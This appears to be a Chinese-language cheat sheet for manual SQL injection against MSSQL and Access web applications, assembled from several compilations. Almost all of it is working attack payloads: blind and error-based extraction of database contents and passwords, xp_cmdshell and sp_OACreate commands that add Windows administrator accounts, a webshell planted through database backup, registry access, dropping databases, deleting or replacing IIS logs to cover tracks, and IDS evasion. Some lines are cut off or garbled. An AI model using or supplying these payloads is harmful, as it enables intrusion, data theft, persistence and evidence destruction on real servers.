1.判斷是否有注入
;and 1=1
;and 1=2
2.初步判斷是否是mssql
;and user>0
3.判斷數據庫系統(tǒng)
;and (select count(*) from sysobjects)>0 mssql
;and (select count(*) from msysobjects)>0 access
4.注入參數是字符
'and [查詢條件] and ''='
5.搜索時沒過濾參數的
'and [查詢條件] and '%25'='
6.猜數據庫
;and (select Count(*) from [數據庫名])>0
7.猜字段
;and (select Count(字段名) from 數據庫名)>0
8.猜字段中記錄長度
;and (select top 1 len(字段名) from 數據庫名)>0
9.(1)猜字段的ascii值(access)
;and (select top 1 asc(mid(字段名,1,1)) from 數據庫名)>0
(2)猜字段的ascii值(mssql)
;and (select top 1 unicode(substring(字段名,1,1)) from 數據庫名)>0
10.測試權限結構(mssql)
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));--
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));--
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));--
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));--
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));--
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));--
;and 1=(select IS_MEMBER('db_owner'));--
11.添加mssql和系統(tǒng)的帳戶
;exec master.dbo.sp_addlogin username;--
;exec master.dbo.sp_password null,username,password;--
;exec master.dbo.sp_addsrvrolemember sysadmin username;--
;exec master.dbo.xp_cmdshell 'net user username password /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add';--
;exec master.dbo.xp_cmdshell 'net user username password /add';--
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';--
12.(1)遍歷目錄
;create table dirs(paths varchar(100), id int)
;insert dirs exec master.dbo.xp_dirtree 'c:\'
;and (select top 1 paths from dirs)>0
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>)
(2)遍歷目錄
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));--
;insert temp exec master.dbo.xp_availablemedia;-- 獲得當前所有驅動器
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 獲得子目錄列表
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 獲得所有子目錄的目錄樹結構
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的內容
13.mssql中的存儲過程
xp_regenumvalues 注冊表根鍵, 子鍵
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多個記錄集方式返回所有鍵值
xp_regread 根鍵,子鍵,鍵值名
;exec xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定鍵的值
xp_regwrite 根鍵,子鍵, 值名, 值類型, 值
值類型有2種REG_SZ 表示字符型,REG_DWORD 表示整型
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestvalueName','reg_sz','hello' 寫入注冊表
xp_regdeletevalue 根鍵,子鍵,值名
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestvalueName' 刪除某個值
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 刪除鍵,包括該鍵下所有值
14.mssql的backup創(chuàng)建webshell
use model
create table cmd(str image);
insert into cmd(str) values ('');
backup database model to disk='c:\l.asp';
15.mssql內置函數
;and (select @@version)>0 獲得Windows的版本號
;and user_name()='dbo' 判斷當前系統(tǒng)的連接用戶是不是sa
;and (select user_name())>0 爆當前系統(tǒng)的連接用戶
;and (select db_name())>0 得到當前連接的數據庫
16.簡潔的webshell
use model
create table cmd(str image);
insert into cmd(str) values ('');
backup database model to disk='g:\wwwtest\l.asp';
請求的時候挟炬,像這樣子用:
http://ip/l.asp?c=dir
SQL手工注入大全
前提需要工具:SQL Query Analyzer和SqlExec Sunx Version
1.去掉xp_cmdshell擴展過程的方法是使用如下語句:
if exists (select * from dbo.sysobjects where id=object_id(N'[dbo].[xpcmdshell]') and OBJECTPROPERTY(id,N'IsExtendedProc')=1)
exec sp_dropextendedproc N'[dbo].[xp_cmdshell]'
2.添加xp_cmdshell擴展過程的方法是使用如下語句:
(1)SQL Query Analyzer
sp_addextendedproc xp_cmdshell,@dllname='xplog70.dll'
(2)首先在SqlExec Sunx Version的Format選項里填上%s赁酝,在CMD選項里輸入
sp_addextendedproc 'xp_cmdshell','xpsql70.dll'
去除
sp_dropextendedproc 'xp_cmdshell'
(3)MSSQL2000
sp_addextendedproc 'xp_cmdshell','xplog70.dll'
?
SQL手工注入方法總結(SQL Server2005)2010-01-28 16:17---------以下以省略注入點用URL代替
--(1) ******查看驅動器方法******
-- 建表p(i為自動編號,a記錄盤符類似"c:\",b記錄可用字節(jié),其它省略)
URL;create table p(i int identity(1,1),a nvarchar(255),b nvarchar(255),c nvarchar(255),d nvarchar(255));--
URL;insert p exec xp_availablemedia;--列出所有驅動器并插入表p
URL;and (select count(*) from p)>3;--折半法查出驅動器總數
URL;and ascii(substring((select a from p where i=1),1,1))=67;--折半法查出驅動器名(注asc(c)=67)
--上面一般用于無顯錯情況下使用-------以此類推,得到所有驅動器名
URL;and (select a from p where i=1)>3;--報錯得到第一個驅動器名
--上面一般用于顯錯情況下使用-------以此類推,得到所有驅動器名
URL;;drop table p;--刪除表p
--(2) ******查看目錄方法******
URL;create table pa(m nvarchar(255),i nvarchar(255));--建表pa(m記錄目錄,i記錄深度)
URL;insert pa exec xp_dirtree ’e:’;--列出驅動器e并插入表pa
URL;and (select count(*) from pa where i>0)>-1;--折半法查出i深度
URL;and (select top 1 m from pa where i=1 and m not in(select top 0 m from pa))>0;--報錯得到深度i=1的第一個目錄名
--上面一般用顯錯且目錄名不為數字情況下使用-------(得到第二個目錄把"top 0"換為"top 1",換深度只換i就行)以此類推,得到e盤的所有目錄
URL;and len((select top 1 m from pa where i=1 and m not in(select top 0 m from pa)))>0;--折半法查出深度i=1的第一個目錄名的長度
URL;and ascii(substring((select top 1 m from pa where i=1 and m not in(select top 0 m from pa)),1,1))>0;--折半法查出深度i=1的第一個目錄名的第一個字符長度
--上面一般用無顯錯情況下使用-------(得到第二個目錄把"top 0"換為"top 1",換深度只換i就行)以此類推,得到e盤的所有目錄
URL;drop
手工MSSQL注入常用SQL語句
and exists (select * from sysobjects) //判斷是否是MSSQL
and exists(select * from tableName) //判斷某表是否存在..tableName為表名
and 1=(select @@VERSION) //MSSQL版本
And 1=(select db_name()) //當前數據庫名
and 1=(select @@servername) //本地服務名
and 1=(select IS_SRVROLEMEMBER(‘sysadmin’)) //判斷是否是系統(tǒng)管理員
and 1=(Select IS_MEMBER(‘db_owner’)) //判斷是否是庫權限
and 1= (Select HAS_DBACCESS(‘master’)) //判斷是否有庫讀取權限
and 1=(select name from master.dbo.sysdatabases where dbid=1) //暴庫名DBID為1栓票,2,3….
;declare @d int //是否支持多行
and 1=(Select count(*) FROM master.dbo.sysobjects Where xtype = ‘X’ AND name = ‘xp_cmdshell’) //判斷XP_CMDSHELL是否存在
and 1=(select count(*) FROM master.dbo.sysobjects where name= ‘xp_regread’) //查看XP_regread擴展存儲過程是不是已經被刪除
添加和刪除一個SA權限的用戶test:(需要SA權限)
exec master.dbo.sp_addlogin test,password
exec master.dbo.sp_addsrvrolemember test,sysadmin
停掉或激活某個服務液走。 (需要SA權限)
exec master..xp_servicecontrol ‘stop’,’schedule’
exec master..xp_servicecontrol ‘start’,’schedule’
暴網站目錄
create table labeng(lala nvarchar(255), id int)
DECLARE @result varchar(255) EXEC master.dbo.xp_regread ‘HKEY_LOCAL_MACHINE’,’SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual Roots’,’/’,@result output insert into labeng(lala) values(@result);
and 1=(select top 1 lala from labeng) 或者and 1=(select count(*) from labeng where lala>1)
—————————————————————————————————————————————————————分割
SQL Server
判斷是否可注射:
http://www.exehack.net/article.asp?id=6
http://www.exehack.net/article.asp?id=6′
http://www.exehack.net/article.asp?id=6 and 1=1
http://www.exehack.net/article.asp?id=6 and 1=2
http://www.exehack.net/article.asp?action=value’ and 1=1
http://www.exehack.net/article.asp?action=value’ and 1=2
searchpoints%’ and 1=1
searchpoints%’ and 1=2
確定數據庫類型:
http://www.exehack.net/article.asp?id=6 and user>0
http://www.exehack.net/article.asp?id=6 and (select count(*) from sysobjects)>0
查詢當前用戶數據信息:
article.asp?id=6 having 1=1–
暴當前表中的列:
article.asp?id=6 group by admin.username having 1=1–
article.asp?id=6 group by admin.username,admin.password having 1=1–
暴任意表和列:
and (select top 1 name from (select top N id,name from sysobjects where xtype=char(85)) T order by id desc)>1
and (select top col_name(object_id(‘admin’),N) from sysobjects)>1
暴數據庫數據:
and (select top 1 password from admin where id=N)>1
修改數據庫中的數據:
;update admin set password=’oooooo’ where username=’xxx’
增添數據庫中的數據:
;insert into admin values (xxx,oooooo)–
刪數據庫:
;drop database webdata
獲取當前數據庫用戶名:and user>0
獲取當前數據庫名:and db_name()>0
獲取數據庫版本:and (select @@version)>0
判斷是否支持多句查詢:;declare @a int–
判斷是否支持子查詢:and (select count(1) from [sysobjects])>=0
數據庫的擴展存儲過程:exec master..xp_cmdshell
查看服務器C盤目錄:;exec_master..xp_cmdshell ‘dir c:\’
判斷擴展存儲過程是否存在:and select count(*) from master.dbo.sysobjects where xtype=’x’ and name=’xp_cmdshell’
恢復擴展存儲過程:;exec sp_addextendedproc xp_cmdshell,’xplog70.dll’
刪除擴展存儲過程:;exec sp_dropextendedproc ‘xp_cmdshell’
在MSSQL2000中提供了一些函數用于訪問OLE對象間接獲取權限:
;declare @s int
;exec sp_oacreat ‘wscript.shell’,@s
;exec master..spoamethod @s,’run’,null,’cmd.exe/c dir c:\’
判斷當前數據庫用戶名是否擁有比較高的權限:
and 1=(select is_srvrolemember(‘sysadmin’))
and 1=(select is_srvrolemember(‘serveradmin’))
and 1=(select is_srvrolemember(‘setupadmin’))
and 1=(select is_srvrolemember(‘securityadmin’))
and 1=(select is_srvrolemember(‘diskadmin’))
and 1=(select is_srvrolemember(‘bulkadmin’))
判斷當前數據庫用戶名是否為DB_OWNER:
and 1=(select is_member(‘db_owner’))
在SQLSERVER的master.dbo.sysdatabases表中存放著SQLSERVER數據庫系統(tǒng)中的所有數據庫信息,只需要PUBLIC權限就可以對此表進行SELECT操作:
and (select top 1 name from master.dbo.sysdatabase order by dbid)>0
and (select top 1 name from master.dbo.sysdatabase where name not in(select top 1 name from master.dbo.sysdatabases order by dbid) order by dbid)>0
刪除日志記錄:
;exec master.dbo.xp_cmdshell ‘del c:\winnt\system32\logfiles\w3svc5\ex070606.log >c:\temp.txt’
替換日志記錄:
;exec master.dbo.xp_cmdshell ‘copy c:\winnt\system32\logfiles\w3svc5\ex070404.log c:\winnt\system32\logfiles\w3svc5\ex070606.log >c:\temp.txt’
獲取WEB路徑:
;declare @shell int
;exec master..sp_oamethod ‘wscript.shell’,@shell out
;exec master..sp_oamethod @shell,’run’,null,’cmd.exe/c dir /s d:/index.asp >c:/log.txt
利用XP_CMDSHELL搜索:
;exec master..xp_cmdshell ‘dir /s d:/index.asp’
顯示服務器網站配置信息命令:
cmd /c cscript.exe c:\inetpub\adminscript\adsutil.vbs enum w3svc/1/root
cmd /c cscript.exe c:\inetpub\adminscript\adsutil.vbs enum w3svc/2/root
利用XP_REGREAD可用PUBLIC權限讀饶尤铡:
;exec master.dbo.xp_regread
hkey_local_machine,
‘system\currentcontrolset\services\w3svc\parameters\virtual roots\’
‘/’
SQLSERVER下的高級技術可以參考閱讀曾云好所著的精通腳本黑客第五章。
3翰舌、DSqlHelper
檢測權限SYSADMIN:
and 1=(select IS_SRVROLEMEMBER(‘sysadmin’))
serveradmin肆资、setupadmin、securityadmin灶芝、diskadmin、bulkadmin唉韭、db_owner夜涕。
檢測XP_CMDSHELL(CMD命令):
and 1=(SELECT count(*) FROM master.dbo.sysobjects WHERE name= ‘xp_cmdshell’)
檢測XP_REGREAD(注冊表讀取功能):
and 1=(SELECT count(*) FROM master.dbo.sysobjects WHERE name= ‘xp_regread’)
檢測SP_MAKEWEBTASK(備份功能):
and 1=(SELECT count(*) FROM master.dbo.sysobjects WHERE name= ‘sp_makewebtask’)
檢測SP_ADDEXTENDEDPROC:
and 1=(SELECT count(*) FROM master.dbo.sysobjects WHERE name= ‘sp_addextendedproc’)
檢測XP_SUBDIRS讀子目錄:
and 1=(SELECT count(*) FROM master.dbo.sysobjects WHERE name= ‘xp_subdirs’)
檢測XP_DIRTREE讀子目錄:
and 1=(SELECT count(*) FROM master.dbo.sysobjects WHERE name= ‘xp_dirtree’)
修改內容:
; UPDATE 表名 set 字段=內容 where 1=1
XP_CMDSHELL檢測:
;exec master..xp_cmdshell ‘dir c:\’
修復XP_CMDSHELL:
;exec master.dbo.sp_addextendedproc ‘xp_cmdshell’, ‘xplog70.dll’
用XP_CMDSHELL添加用戶hacker:
;exec master.dbo.xp_cmdshell ‘net user hacker 123456 /add’
XP_CMDSHELL把用戶hacker加到ADMIN組:
;exec master.dbo.xp_cmdshell ‘net localgroup administrators hacker /add’
創(chuàng)建表test:
;create table [dbo].[test] ([dstr][char](255));
檢測表段test:
and exists (select * from test)
讀取WEB的位置(讀注冊表):
;DECLARE @result varchar(255) EXEC master.dbo.xp_regread ‘HKEY_LOCAL_MACHINE’,’SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual Roots’, ‘/’,@result output insert into test (dstr) values(@result);–
爆出WEB的絕對路徑(顯錯模式):
and 1=(select count(*) from test where dstr > 1)
刪除表test:
;drop table test;–
創(chuàng)建查看目錄的表dirs:
;create table dirs(paths varchar(100), id int)
把查看目錄的內容加入表dirs:
;insert dirs exec master.dbo.xp_dirtree ‘c:\’
爆目錄的內容dirs:
and 0<>(select top 1 paths from dirs)
備份數據庫DATANAME:
declare @a sysname; set @a=db_name();backup DATANAME @a to disk=’c:\inetpub\wwwroot\down.bak’;–
刪除表dirs:
;drop table dirs;–
創(chuàng)建表temp:
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));–
把驅動盤列表加入temp表:
;insert temp exec master.dbo.xp_availablemedia;–
刪除表temp:
;delete from temp;–
創(chuàng)建表dirs:
;create table dirs(paths varchar(100), id int);–
獲得子目錄列表XP_SUBDIRS:
;insert dirs exec master.dbo.xp_subdirs ‘c:\’;–
爆出內容(顯錯模式):
and 0<>(select top 1 paths from dirs)
刪除表dirs:
;delete from dirs;–
創(chuàng)建表dirs:
;create table dirs(paths varchar(100), id int)–
用XP_CMDSHELL查看目錄內容:
;insert dirs exec master..xp_cmdshell ‘dir c:\’
刪除表dirs:
;delete from dirs;–
檢測SP_OAcreate(執(zhí)行命令):
and 1=(SELECT count(*) FROM master.dbo.sysobjects WHERE name= ‘SP_OAcreate’)
SP_OAcreate執(zhí)行CMD命令:
;DECLARE @shell INT EXEC SP_OAcreate ‘wscript.shell’,@shell OUTPUT EXEC SP_OAMETHOD @shell,’run’,null, ‘C:\WINNT\system32\cmd.exe /c net user hacker 123456 /add’
SP_OAcreate建目錄:
;DECLARE @shell INT EXEC SP_OAcreate ‘wscript.shell’,@shell OUTPUT EXEC SP_OAMETHOD @shell,’run’,null, ‘C:\WINNT\system32\cmd.exe /c md c:\inetpub\wwwroot\1111’
創(chuàng)建一個虛擬目錄E盤:
;declare @o int exec sp_oacreate ‘wscript.shell’, @o out exec sp_oamethod @o, ‘run’, NULL,’ cscript.exe c:\inetpub\wwwroot\mkwebdir.vbs -w “默認 Web 站點” -v “e”,”e:\”‘
設置虛擬目錄E為可讀:
;declare @o int exec sp_oacreate ‘wscript.shell’, @o out exec sp_oamethod @o, ‘run’, NULL,’ cscript.exe c:\inetpub\wwwroot\chaccess.vbs -a w3svc/1/ROOT/e +browse’
啟動SERVER服務:
;exec master..xp_servicecontrol ‘start’, ‘server’
繞過IDS檢測XP_CMDSHELL:
;declare @a sysname set @a=’xp_’+’cmdshell’ exec @a ‘dir c:\’
開啟遠程數據庫1:
; select * from OPENROWSET(‘SQLOLEDB’, ‘server=servername;uid=sa;pwd=apachy_123’, ‘select * from table1’ )
開啟遠程數據庫2:
;select * from OPENROWSET(‘SQLOLEDB’, ‘uid=sa;pwd=apachy_123;Network=DBMSSOCN;Address=202.100.100.1,1433;’, ‘select * from table’